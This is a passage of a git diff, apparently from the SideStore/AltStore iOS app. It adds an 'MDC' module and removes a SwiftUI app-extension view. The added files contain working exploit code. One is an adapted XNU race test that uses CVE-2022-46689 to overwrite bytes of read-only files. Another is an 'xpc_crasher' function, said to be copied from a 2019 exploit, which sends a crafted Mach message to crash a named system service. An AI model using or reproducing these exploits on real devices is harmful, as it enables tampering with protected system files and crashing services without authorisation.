return true;
|
||||||
|
}
|
||||||
|
#endif /* MDC */
|
||||||
14
AltStore/MDC/helpers.h
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
#ifndef helpers_h
|
||||||
|
#define helpers_h
|
||||||
|
|
||||||
|
char* get_temp_file_path(void);
|
||||||
|
void test_nsexpressions(void);
|
||||||
|
char* set_up_tmp_file(void);
|
||||||
|
|
||||||
|
void xpc_crasher(char* service_name);
|
||||||
|
|
||||||
|
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||||
|
|
||||||
|
#endif /* helpers_h */
|
||||||
|
#endif /* MDC */
|
||||||
132
AltStore/MDC/helpers.m
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
|
||||||
|
char* get_temp_file_path(void) {
|
||||||
|
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// create a read-only test file we can target:
|
||||||
|
char* set_up_tmp_file(void) {
|
||||||
|
char* path = get_temp_file_path();
|
||||||
|
printf("path: %s\n", path);
|
||||||
|
|
||||||
|
FILE* f = fopen(path, "w");
|
||||||
|
if (!f) {
|
||||||
|
printf("opening the tmp file failed...\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
char* buf = malloc(PAGE_SIZE*10);
|
||||||
|
memset(buf, 'A', PAGE_SIZE*10);
|
||||||
|
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||||
|
//fclose(f);
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t
|
||||||
|
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||||
|
|
||||||
|
struct xpc_w00t {
|
||||||
|
mach_msg_header_t hdr;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t client_port;
|
||||||
|
mach_msg_port_descriptor_t reply_port;
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t get_send_once(mach_port_t recv) {
|
||||||
|
mach_port_t so = MACH_PORT_NULL;
|
||||||
|
mach_msg_type_name_t type = 0;
|
||||||
|
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||||
|
return so;
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy-pasted from an exploit I wrote in 2019...
|
||||||
|
// still works...
|
||||||
|
|
||||||
|
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||||
|
|
||||||
|
void xpc_crasher(char* service_name) {
|
||||||
|
mach_port_t client_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t reply_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_t service_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||||
|
if(err != KERN_SUCCESS){
|
||||||
|
printf("unable to look up %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (service_port == MACH_PORT_NULL) {
|
||||||
|
printf("bad service port\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// allocate the client and reply port:
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t so0 = get_send_once(client_port);
|
||||||
|
mach_port_t so1 = get_send_once(client_port);
|
||||||
|
|
||||||
|
// insert a send so we maintain the ability to send to this port
|
||||||
|
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct xpc_w00t msg;
|
||||||
|
memset(&msg.hdr, 0, sizeof(msg));
|
||||||
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.hdr.msgh_size = sizeof(msg);
|
||||||
|
msg.hdr.msgh_remote_port = service_port;
|
||||||
|
msg.hdr.msgh_id = 'w00t';
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.client_port.name = client_port;
|
||||||
|
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||||
|
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
msg.reply_port.name = reply_port;
|
||||||
|
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
err = mach_msg(&msg.hdr,
|
||||||
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||||
|
msg.hdr.msgh_size,
|
||||||
|
0,
|
||||||
|
MACH_PORT_NULL,
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
printf("sent xpc w00t message\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_deallocate(mach_task_self(), so0);
|
||||||
|
mach_port_deallocate(mach_task_self(), so1);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
#endif /* MDC */
|
||||||
364
AltStore/MDC/vm_unaligned_copy_switch_race.c
Normal file
@@ -0,0 +1,364 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||||
|
// modified to compile outside of XNU
|
||||||
|
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <dispatch/dispatch.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <mach/mach_init.h>
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
#include <mach/vm_map.h>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
#include "vm_unaligned_copy_switch_race.h"
|
||||||
|
|
||||||
|
#define T_QUIET
|
||||||
|
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||||
|
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||||
|
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||||
|
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_TRUE(a, b, ...)
|
||||||
|
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
#define T_DECL(a, b) static void a(void)
|
||||||
|
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
|
||||||
|
struct context1 {
|
||||||
|
vm_size_t obj_size;
|
||||||
|
vm_address_t e0;
|
||||||
|
mach_port_t mem_entry_ro;
|
||||||
|
mach_port_t mem_entry_rw;
|
||||||
|
dispatch_semaphore_t running_sem;
|
||||||
|
pthread_mutex_t mtx;
|
||||||
|
volatile bool done;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *
|
||||||
|
switcheroo_thread(__unused void *arg)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
struct context1 *ctx;
|
||||||
|
|
||||||
|
ctx = (struct context1 *)arg;
|
||||||
|
/* tell main thread we're ready to run */
|
||||||
|
dispatch_semaphore_signal(ctx->running_sem);
|
||||||
|
while (!ctx->done) {
|
||||||
|
/* wait for main thread to be done setting things up */
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
if (ctx->done) {
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* switch e0 to RW mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->mem_entry_rw,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
/* switch bakc to original RO mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||||
|
/* tell main thread we're don switching mappings */
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
usleep(100);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||||
|
bool retval = false;
|
||||||
|
pthread_t th = NULL;
|
||||||
|
int ret;
|
||||||
|
kern_return_t kr;
|
||||||
|
time_t start, duration;
|
||||||
|
#if 0
|
||||||
|
mach_msg_type_number_t cow_read_size;
|
||||||
|
#endif
|
||||||
|
vm_size_t copied_size;
|
||||||
|
int loops;
|
||||||
|
vm_address_t e2, e5;
|
||||||
|
struct context1 context1, *ctx;
|
||||||
|
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||||
|
vm_address_t ro_addr, tmp_addr;
|
||||||
|
memory_object_size_t mo_size;
|
||||||
|
|
||||||
|
ctx = &context1;
|
||||||
|
ctx->obj_size = 256 * 1024;
|
||||||
|
|
||||||
|
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||||
|
if (file_mapped == MAP_FAILED) {
|
||||||
|
fprintf(stderr, "failed to map\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||||
|
fprintf(stderr, "already the same?\n");
|
||||||
|
munmap(file_mapped, ctx->obj_size);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ro_addr = (vm_address_t)file_mapped;
|
||||||
|
|
||||||
|
ctx->e0 = 0;
|
||||||
|
ctx->running_sem = dispatch_semaphore_create(0);
|
||||||
|
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||||
|
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||||
|
ctx->done = false;
|
||||||
|
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||||
|
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||||
|
#if 0
|
||||||
|
/* allocate our attack target memory */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&ro_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||||
|
/* initialize to 'A' */
|
||||||
|
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* make it read-only */
|
||||||
|
kr = vm_protect(mach_task_self(),
|
||||||
|
ro_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
TRUE, /* set_maximum */
|
||||||
|
VM_PROT_READ);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||||
|
/* make sure we can't get read-write handle on that target memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->mem_entry_ro,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||||
|
/* take read-only handle on that target memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||||
|
&ctx->mem_entry_ro,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||||
|
/* make sure we can't map target memory as writable */
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
|
||||||
|
/* allocate a source buffer for the unaligned copy */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e5,
|
||||||
|
ctx->obj_size * 2,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||||
|
/* initialize to 'C' */
|
||||||
|
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||||
|
|
||||||
|
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||||
|
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||||
|
|
||||||
|
int overwrite_first_diff_offset = -1;
|
||||||
|
char overwrite_first_diff_value = 0;
|
||||||
|
for (int off = 0; off < overwrite_length; off++) {
|
||||||
|
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||||
|
overwrite_first_diff_offset = off;
|
||||||
|
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (overwrite_first_diff_offset == -1) {
|
||||||
|
fprintf(stderr, "no diff?\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* get a handle on some writable memory that will be temporarily
|
||||||
|
* switched with the read-only mapping of our target memory to try
|
||||||
|
* and trick copy_unaligned to write to our read-only target.
|
||||||
|
*/
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||||
|
/* initialize to 'D' */
|
||||||
|
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||||
|
/* get a memory entry handle for that RW memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
tmp_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->mem_entry_rw,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||||
|
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||||
|
tmp_addr = 0;
|
||||||
|
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
|
||||||
|
/* start racing thread */
|
||||||
|
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
/* wait for racing thread to be ready to run */
|
||||||
|
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||||
|
|
||||||
|
duration = 10; /* 10 seconds */
|
||||||
|
T_LOG("Testing for %ld seconds...", duration);
|
||||||
|
for (start = time(NULL), loops = 0;
|
||||||
|
time(NULL) < start + duration;
|
||||||
|
loops++) {
|
||||||
|
/* reserve space for our 2 contiguous allocations */
|
||||||
|
e2 = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
2 * ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||||
|
|
||||||
|
/* make 1st allocation in our reserved space */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||||
|
/* initialize to 'B' */
|
||||||
|
memset((char *)e2, 'B', ctx->obj_size);
|
||||||
|
|
||||||
|
/* map our read-only target memory right after */
|
||||||
|
ctx->e0 = e2 + ctx->obj_size;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||||
|
|
||||||
|
/* let the racing thread go */
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
|
||||||
|
/* trigger copy_unaligned while racing with other thread */
|
||||||
|
kr = vm_read_overwrite(mach_task_self(),
|
||||||
|
e5,
|
||||||
|
ctx->obj_size - 1 + overwrite_length,
|
||||||
|
e2 + 1,
|
||||||
|
&copied_size);
|
||||||
|
T_QUIET;
|
||||||
|
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||||
|
"vm_read_overwrite kr %d", kr);
|
||||||
|
switch (kr) {
|
||||||
|
case KERN_SUCCESS:
|
||||||
|
/* the target was RW */
|
||||||
|
kern_success++;
|
||||||
|
break;
|
||||||
|
case KERN_PROTECTION_FAILURE:
|
||||||
|
/* the target was RO */
|
||||||
|
kern_protection_failure++;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* should not happen */
|
||||||
|
kern_other++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* check that our read-only memory was not modified */
|
||||||
|
#if 0
|
||||||
|
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||||
|
#endif
|
||||||
|
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||||
|
|
||||||
|
/* tell racing thread to stop toggling mappings */
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
|
||||||
|
/* clean up before next loop */
|
||||||
|
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||||
|
ctx->e0 = 0;
|
||||||
|
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||||
|
e2 = 0;
|
||||||
|
if (!is_still_equal) {
|
||||||
|
retval = true;
|
||||||
|
fprintf(stderr, "RO mapping was modified\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->done = true;
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
pthread_join(th, NULL);
|
||||||
|
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||||
|
kern_success, kern_protection_failure, kern_other);
|
||||||
|
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||||
|
#endif
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
#endif /* MDC */
|
||||||
10
AltStore/MDC/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
#pragma once
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||||
|
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||||
|
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||||
|
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||||
|
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||||
|
#endif /* MDC */
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
//
|
|
||||||
// AppExtensionView.swift
|
|
||||||
// SideStore
|
|
||||||
//
|
|
||||||
// Created by June P on 8/17/24.
|
|
||||||
// Copyright © 2024 SideStore. All rights reserved.
|
|
||||||
//
|
|
||||||
|
|
||||||
import SwiftUI
|
|
||||||
import CAltSign
|
|
||||||
|
|
||||||
extension ALTApplication: Identifiable {}
|
|
||||||
|
|
||||||
struct AppExtensionView: View {
|
|
||||||
var extensions: Set<ALTApplication>
|
|
||||||
@State var selection: [ALTApplication] = []
|
|
||||||
|
|
||||||
var completion: (_ selection: [ALTApplication]) -> Any?
|
|
||||||
|
|
||||||
var body: some View {
|
|
||||||
NavigationView {
|
|
||||||
List {
|
|
||||||
ForEach(self.extensions.sorted {
|
|
||||||
$0.bundleIdentifier < $1.bundleIdentifier
|
|
||||||
}, id: \.self) { item in
|
|
||||||
MultipleSelectionRow(title: item.bundleIdentifier, isSelected: !selection.contains(item)) {
|
|
||||||
if self.selection.contains(item) {
|
|
||||||
self.selection.removeAll(where: { $0 == item })
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
self.selection.append(item)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
.navigationTitle("App Extensions")
|
|
||||||
.onDisappear {
|
|
||||||
_ = completion(selection)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
struct MultipleSelectionRow: View {
|
|
||||||
var title: String
|
|
||||||
var isSelected: Bool
|
|
||||||
var action: () -> Void
|
|
||||||
|
|
||||||
var body: some View {
|
|
||||||
SwiftUI.Button(action: self.action) {
|
|
||||||
HStack {
|
|
||||||
Text(self.title)
|
|
||||||
if self.isSelected {
|
|
||||||
Spacer()
|
|
||||||
Image(systemName: "checkmark")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class AppExtensionViewHostingController: UIHostingController<AppExtensionView> {
|
|
||||||
|
|
||||||
|
|
||||||
var completion: Optional<(_ selection: [ALTApplication]) -> Any?> = nil
|
|
||||||
|
|
||||||
required init(extensions: Set<ALTApplication>, completion: @escaping (_ selection: [ALTApplication]) -> Any?) {
|
|
||||||
self.completion = completion
|
|
||||||
super.init(rootView: AppExtensionView(extensions: extensions, completion: completion))
|
|
||||||
}
|
|
||||||
|
|
||||||
@MainActor required dynamic init?(coder aDecoder: NSCoder) {
|
|
||||||
super.init(coder: aDecoder)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
extension AppExtensionViewHostingController: UIPopoverPresentationControllerDelegate {
|
|
||||||
func adaptivePresentationStyle(for controller: UIPresentationController) -> UIModalPresentationStyle {
|
|
||||||
return .none
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -8,14 +8,12 @@
|
|||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import UIKit
|
import UIKit
|
||||||
import SwiftUI
|
|
||||||
import UserNotifications
|
import UserNotifications
|
||||||
import MobileCoreServices
|
import MobileCoreServices
|
||||||
import Intents
|
import Intents
|
||||||
import Combine
|
import Combine
|
||||||
import WidgetKit
|
import WidgetKit
|
||||||
|
|
||||||
import minimuxer
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
import Roxas
|
import Roxas
|
||||||
@@ -39,6 +37,11 @@ final class AppManagerPublisher: ObservableObject
|
|||||||
fileprivate(set) var refreshProgress = [String: Progress]()
|
fileprivate(set) var refreshProgress = [String: Progress]()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool
|
||||||
|
{
|
||||||
|
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
|
||||||
|
}
|
||||||
|
|
||||||
final class AppManager
|
final class AppManager
|
||||||
{
|
{
|
||||||
static let shared = AppManager()
|
static let shared = AppManager()
|
||||||
@@ -240,33 +243,33 @@ extension AppManager
|
|||||||
|
|
||||||
func deactivateApps(for app: ALTApplication, presentingViewController: UIViewController, completion: @escaping (Result<Void, Error>) -> Void)
|
func deactivateApps(for app: ALTApplication, presentingViewController: UIViewController, completion: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
